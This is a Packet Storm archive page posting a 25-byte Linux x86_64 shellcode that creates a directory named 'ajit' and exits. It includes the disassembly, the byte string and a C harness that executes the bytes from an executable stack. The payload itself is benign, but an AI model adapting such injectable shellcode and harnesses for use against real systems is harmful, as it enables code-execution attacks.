what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x86_x64 mkdir("ajit", 755) Shellcode

Linux/x86_x64 mkdir("ajit", 755) Shellcode
Posted Jan 18, 2017
Authored by Ajith KP

25 bytes small Linux/x86_x64 mkdir("ajit", 755) shellcode.

tags | shellcode
systems | linux
SHA-256 | 424246640bce692aab5862ebbb855088fdbb7283b4f9afe49828bc8f5e8fb950

Linux/x86_x64 mkdir("ajit", 755) Shellcode

Change Mirror Download
/*
---------------------------------------------------------------------------------------------------

Linux/x86_x64 - mkdir("ajit", 755) - 25 bytes

Ajith Kp [ http://fb.com/ajithkp560 ] [ http://www.terminalcoders.blogspot.com ]
Vishnu Nath Kp [ http://www.terminalcoders.blogspot.com ]
Sayooj S Nambiar [ http://fb.com/sayooj.sivadas ]

Om Asato Maa Sad-Gamaya |
Tamaso Maa Jyotir-Gamaya |
Mrtyor-Maa Amrtam Gamaya |
Om Shaantih Shaantih Shaantih |

---------------------------------------------------------------------------------------------------
Disassembly of section .text:

0000000000400080 <.text>:
400080: 48 31 f6 xor %rsi,%rsi
400083: 56 push %rsi
400084: 68 61 6a 69 74 pushq $0x74696a61
400089: 54 push %rsp
40008a: 5f pop %rdi
40008b: 6a 53 pushq $0x53
40008d: 58 pop %rax
40008e: 66 be ef 01 mov $0x1ef,%si
400092: 0f 05 syscall
400094: 6a 3c pushq $0x3c
400096: 58 pop %rax
400097: 0f 05 syscall
---------------------------------------------------------------------------------------------------

How To Run

$ gcc -o mkdir_shellcode_linux_x64 mkdir_shellcode_linux_x64.c -z execstack
$ ./mkdir_shellcode_linux_x64

---------------------------------------------------------------------------------------------------
*/
#include <stdio.h>
char sh[]="\x48\x31\xf6\x56\x68\x61\x6a\x69\x74\x54\x5f\x6a\x53\x58\x66\xbe\xef\x01\x0f\x05\x6a\x3c\x58\x0f\x05";
void main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) sh;
(int)(*func)();
}
Login or Register to add favorites

File Archive:

November 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    1 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    0 Files
  • 5
    Nov 5th
    0 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    0 Files
  • 8
    Nov 8th
    0 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    219 Files
  • 14
    Nov 14th
    19 Files
  • 15
    Nov 15th
    66 Files
  • 16
    Nov 16th
    38 Files
  • 17
    Nov 17th
    9 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    11 Files
  • 22
    Nov 22nd
    56 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    36 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    14 Files
  • 28
    Nov 28th
    30 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close